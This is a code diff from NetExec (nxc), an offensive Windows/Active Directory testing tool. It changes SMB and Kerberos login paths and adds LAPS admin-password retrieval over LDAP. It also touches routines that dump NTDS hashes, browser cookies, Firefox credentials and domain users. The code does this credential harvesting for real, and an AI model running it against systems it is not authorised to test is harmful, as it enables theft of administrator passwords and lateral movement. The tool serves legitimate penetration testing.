||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
@@ -57,7 +57,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
+196
-101
@@ -1,4 +1,5 @@
|
||||
import ntpath
|
||||
import hashlib
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
@@ -43,6 +44,7 @@ from nxc.protocols.smb.smbspider import SMBSpider
|
||||
from nxc.protocols.smb.passpol import PassPolDump
|
||||
from nxc.protocols.smb.samruser import UserSamrDump
|
||||
from nxc.protocols.smb.samrfunc import SamrFunc
|
||||
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
@@ -63,6 +65,7 @@ from datetime import datetime
|
||||
from functools import wraps
|
||||
from traceback import format_exc
|
||||
import logging
|
||||
from json import loads
|
||||
from termcolor import colored
|
||||
import contextlib
|
||||
|
||||
@@ -211,23 +214,8 @@ class smb(connection):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.domain = self.targetDomain if not self.args.domain else self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
|
||||
self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
@@ -242,6 +230,9 @@ class smb(connection):
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
@@ -257,10 +248,109 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error logging off system: {e}")
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
def laps_search(self, username, password, ntlm_hash, domain):
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return False
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain,
|
||||
username[0] if username else "",
|
||||
password[0] if password else "",
|
||||
ntlm_hash[0] if ntlm_hash else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
domain,
|
||||
username[0] if username else "",
|
||||
password[0] if password else "",
|
||||
ntlm_hash[0] if ntlm_hash else "",
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return False
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
"ms-MCS-AdmPwd",
|
||||
"sAMAccountName",
|
||||
]
|
||||
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
msMCSAdmPwd = ""
|
||||
sAMAccountName = ""
|
||||
username_laps = ""
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
||||
if len(results) != 0:
|
||||
for host in results:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "mslaps-password" in values:
|
||||
r = loads(str(values["mslaps-password"]))
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "ms-mcs-admpwd" in values:
|
||||
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
|
||||
else:
|
||||
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
||||
logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
|
||||
return False
|
||||
|
||||
self.username = username_laps if username_laps else self.args.laps
|
||||
self.password = msMCSAdmPwd
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
|
||||
return False
|
||||
if ntlm_hash:
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
self.hash = binascii.hexlify(hash_ntlm).decode()
|
||||
|
||||
self.args.local_auth = True
|
||||
self.domain = self.hostname
|
||||
self.logger.extra["protocol"] = "SMB"
|
||||
self.logger.extra["port"] = "445"
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
if self.args.laps:
|
||||
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
@@ -273,50 +363,54 @@ class smb(connection):
|
||||
nthash = ""
|
||||
|
||||
try:
|
||||
self.password = password
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.hash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
self.hash = ntlm_hash
|
||||
if lmhash:
|
||||
self.lmhash = lmhash
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
if not all(s == "" for s in [self.nthash, password, aesKey]):
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
||||
else:
|
||||
kerb_pass = ""
|
||||
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
|
||||
|
||||
tgs = None
|
||||
if self.args.delegate:
|
||||
kerb_pass = ""
|
||||
self.username = self.args.delegate
|
||||
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
|
||||
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
|
||||
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
self.check_if_admin()
|
||||
|
||||
if username == "":
|
||||
self.username = self.conn.getCredentials()[0]
|
||||
elif not self.args.delegate:
|
||||
if not self.args.laps:
|
||||
self.password = password
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.hash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
self.hash = ntlm_hash
|
||||
if lmhash:
|
||||
self.lmhash = lmhash
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
if self.args.delegate:
|
||||
used_ccache = f" through S4U with {username}"
|
||||
if not all(s == "" for s in [self.nthash, password, aesKey]):
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
||||
else:
|
||||
kerb_pass = ""
|
||||
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
|
||||
|
||||
tgs = None
|
||||
if self.args.delegate:
|
||||
kerb_pass = ""
|
||||
self.username = self.args.delegate
|
||||
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
|
||||
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
|
||||
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
self.check_if_admin()
|
||||
|
||||
if username == "":
|
||||
self.username = self.conn.getCredentials()[0]
|
||||
elif not self.args.delegate:
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
if self.args.delegate:
|
||||
used_ccache = f" through S4U with {username}"
|
||||
else:
|
||||
self.plaintext_login(self.hostname, username, password)
|
||||
return True
|
||||
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "" and not self.args.delegate:
|
||||
if not self.args.local_auth and not self.args.delegate:
|
||||
add_user_bh(self.username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -362,11 +456,19 @@ class smb(connection):
|
||||
# Re-connect since we logged off
|
||||
self.create_conn_obj()
|
||||
try:
|
||||
self.password = password
|
||||
self.username = username
|
||||
if not self.args.laps:
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
|
||||
self.conn.login(self.username, self.password, domain)
|
||||
try:
|
||||
self.conn.login(self.username, self.password, domain)
|
||||
except UnicodeEncodeError:
|
||||
self.logger.error(f"UnicodeEncodeError on: '{self.username}:{self.password}'. Falling back to hash login.")
|
||||
self.create_conn_obj()
|
||||
import hashlib
|
||||
nt_hash = hashlib.new("md4", self.password.encode("utf-16le")).hexdigest()
|
||||
return self.hash_login(domain, username, nt_hash)
|
||||
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
@@ -379,7 +481,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
||||
@@ -421,19 +523,23 @@ class smb(connection):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
try:
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.hash = nthash
|
||||
if not self.args.laps:
|
||||
self.username = username
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.hash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
self.hash = ntlm_hash
|
||||
if lmhash:
|
||||
self.lmhash = lmhash
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
self.hash = ntlm_hash
|
||||
if lmhash:
|
||||
self.lmhash = lmhash
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
nthash = self.hash
|
||||
|
||||
self.domain = domain
|
||||
|
||||
self.conn.login(self.username, "", domain, lmhash, nthash)
|
||||
|
||||
@@ -446,7 +552,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and self.username != "":
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
|
||||
@@ -743,23 +849,17 @@ class smb(connection):
|
||||
share_info["access"].append("READ")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
|
||||
self.logger.debug(f"Error checking READ access on share: {error}")
|
||||
|
||||
if not self.args.no_write_check:
|
||||
try:
|
||||
self.conn.createDirectory(share_name, temp_dir)
|
||||
self.conn.deleteDirectory(share_name, temp_dir)
|
||||
write = True
|
||||
share_info["access"].append("WRITE")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}")
|
||||
|
||||
if write:
|
||||
try:
|
||||
self.conn.deleteDirectory(share_name, temp_dir)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
|
||||
self.logger.debug(f"Error checking WRITE access on share: {error}")
|
||||
|
||||
permissions.append(share_info)
|
||||
|
||||
@@ -1007,11 +1107,10 @@ class smb(connection):
|
||||
return groups
|
||||
|
||||
def users(self):
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
return UserSamrDump(self).dump(self.args.users)
|
||||
self.logger.display("Trying to dump local users with SAMRPC protocol")
|
||||
return UserSamrDump(self).dump()
|
||||
|
||||
def computers(self):
|
||||
def hosts(self):
|
||||
hosts = []
|
||||
for dc_ip in self.get_dc_ips():
|
||||
try:
|
||||
@@ -1033,7 +1132,7 @@ class smb(connection):
|
||||
self.logger.highlight(f"{domain}\\{host_clean:<30}")
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
|
||||
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
|
||||
break
|
||||
return hosts
|
||||
|
||||
@@ -1048,17 +1147,17 @@ class smb(connection):
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
|
||||
self.logger.success("Enumerated logged_on users")
|
||||
if self.args.loggedon_users_filter:
|
||||
for user in logged_on:
|
||||
if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
else:
|
||||
for user in logged_on:
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating logged on users: {e}")
|
||||
return logged_on
|
||||
|
||||
def pass_pol(self):
|
||||
return PassPolDump(self).dump()
|
||||
@@ -1272,11 +1371,12 @@ class smb(connection):
|
||||
os.remove(download_path)
|
||||
|
||||
def enable_remoteops(self):
|
||||
if self.remote_ops is not None and self.bootkey is not None:
|
||||
return
|
||||
try:
|
||||
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
||||
self.remote_ops.enableRegistry()
|
||||
if self.bootkey is None:
|
||||
self.bootkey = self.remote_ops.getBootKey()
|
||||
self.bootkey = self.remote_ops.getBootKey()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"RemoteOperations failed: {e}")
|
||||
|
||||
@@ -1489,14 +1589,12 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if dump_cookies and cookies:
|
||||
if dump_cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
if cookie.cookie_value != "":
|
||||
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
||||
self.logger.display("End Dumping Cookies")
|
||||
elif dump_cookies:
|
||||
self.logger.fail("No cookies found")
|
||||
|
||||
vaults = []
|
||||
try:
|
||||
@@ -1537,9 +1635,6 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
|
||||
self.logger.fail("No secrets found")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
try:
|
||||
@@ -1597,10 +1692,10 @@ class smb(connection):
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
if self.args.enabled:
|
||||
if "Enabled" in ntds_hash:
|
||||
ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
else:
|
||||
ntds_hash = " ".join(ntds_hash.split(" ")[:-1])
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
|
||||
@@ -193,7 +193,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
|
||||
@@ -4,7 +4,6 @@ from hashlib import pbkdf2_hmac, sha1
|
||||
import hmac
|
||||
import json
|
||||
import ntpath
|
||||
from os import remove
|
||||
import sqlite3
|
||||
import tempfile
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
@@ -122,10 +121,7 @@ class FirefoxTriage:
|
||||
]
|
||||
|
||||
def get_key(self, key4_data, master_password=b""):
|
||||
# Instead of disabling "delete" and removing the file manually,
|
||||
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
|
||||
# Related issue: #134
|
||||
fh = tempfile.NamedTemporaryFile(delete=False)
|
||||
fh = tempfile.NamedTemporaryFile()
|
||||
fh.write(key4_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -153,12 +149,7 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
fh.close()
|
||||
return b""
|
||||
db.close()
|
||||
fh.close()
|
||||
try:
|
||||
remove(fh.name)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error removing temporary file: {e}")
|
||||
|
||||
def is_master_password_correct(self, key_data, master_password=b""):
|
||||
try:
|
||||
|
||||
@@ -38,7 +38,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
|
||||
@@ -115,7 +115,7 @@ class SAMRQuery:
|
||||
self.server_handle = self.get_server_handle()
|
||||
|
||||
def get_transport(self):
|
||||
string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
|
||||
string_binding = f"ncacn_np:{self.__port}[\pipe\samr]"
|
||||
nxc_logger.debug(f"Binding to {string_binding}")
|
||||
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
|
||||
return transport.SMBTransport(
|
||||
|
||||
@@ -4,7 +4,6 @@ from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
|
||||
class UserSamrDump:
|
||||
@@ -27,8 +26,6 @@ class UserSamrDump:
|
||||
self.doKerberos = connection.kerberos
|
||||
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
|
||||
self.users = []
|
||||
self.rpc_transport = None
|
||||
self.dce = None
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(":") != -1:
|
||||
@@ -39,37 +36,46 @@ class UserSamrDump:
|
||||
if self.password is None:
|
||||
self.password = ""
|
||||
|
||||
def dump(self, requested_users=None):
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
for protocol in self.protocols:
|
||||
try:
|
||||
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
except KeyError:
|
||||
self.logger.debug(f"Invalid Protocol: {protocol}")
|
||||
|
||||
self.logger.debug(f"Invalid Protocol '{protocol}'")
|
||||
self.logger.debug(f"Trying protocol {protocol}")
|
||||
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
|
||||
|
||||
rpctransport = transport.SMBTransport(
|
||||
self.addr,
|
||||
port,
|
||||
r"\samr",
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos,
|
||||
)
|
||||
try:
|
||||
self.fetch_users(requested_users)
|
||||
self.fetchList(rpctransport)
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
|
||||
self.logger.debug(f"Protocol failed: {e}")
|
||||
return self.users
|
||||
|
||||
def fetch_users(self, requested_users):
|
||||
self.dce = DCERPC_v5(self.rpc_transport)
|
||||
self.dce.connect()
|
||||
self.dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
def fetchList(self, rpctransport):
|
||||
dce = DCERPC_v5(rpctransport)
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# Setup Connection
|
||||
resp = samr.hSamrConnect2(self.dce)
|
||||
resp = samr.hSamrConnect2(dce)
|
||||
if resp["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(
|
||||
self.dce,
|
||||
dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
enumerationContext=0,
|
||||
preferedMaximumLength=500,
|
||||
@@ -78,7 +84,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(
|
||||
self.dce,
|
||||
dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
name=resp2["Buffer"]["Buffer"][0]["Name"],
|
||||
)
|
||||
@@ -86,7 +92,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp4 = samr.hSamrOpenDomain(
|
||||
self.dce,
|
||||
dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
desiredAccess=samr.MAXIMUM_ALLOWED,
|
||||
domainId=resp3["DomainId"],
|
||||
@@ -95,84 +101,28 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
self.__domains = resp2["Buffer"]["Buffer"]
|
||||
domain_handle = resp4["DomainHandle"]
|
||||
domainHandle = resp4["DomainHandle"]
|
||||
# End Setup
|
||||
|
||||
if requested_users:
|
||||
self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
|
||||
rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
|
||||
self.logger.debug(f"Specific RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
|
||||
except DCERPCException as e:
|
||||
self.logger.debug(f"Exception while requesting users in domain: {e}")
|
||||
if "STATUS_SOME_NOT_MAPPED" in str(e):
|
||||
# which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
|
||||
self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
|
||||
else:
|
||||
self.logger.fail(f"Error occurred when looking up users in domain: {e}")
|
||||
else:
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
enumerate_users_resp = e.get_packet()
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
resp = e.get_packet()
|
||||
self.logger.success("Enumerated domain user(s)")
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
|
||||
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
|
||||
self.users.append(user["Name"])
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
|
||||
rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
|
||||
self.logger.debug(f"Full domain RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
enumerationContext = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
# set these for the while loop
|
||||
enumerationContext = enumerate_users_resp["EnumerationContext"]
|
||||
status = enumerate_users_resp["ErrorCode"]
|
||||
self.print_user_info(users)
|
||||
self.dce.disconnect()
|
||||
|
||||
def get_user_info(self, domain_handle, user_ids):
|
||||
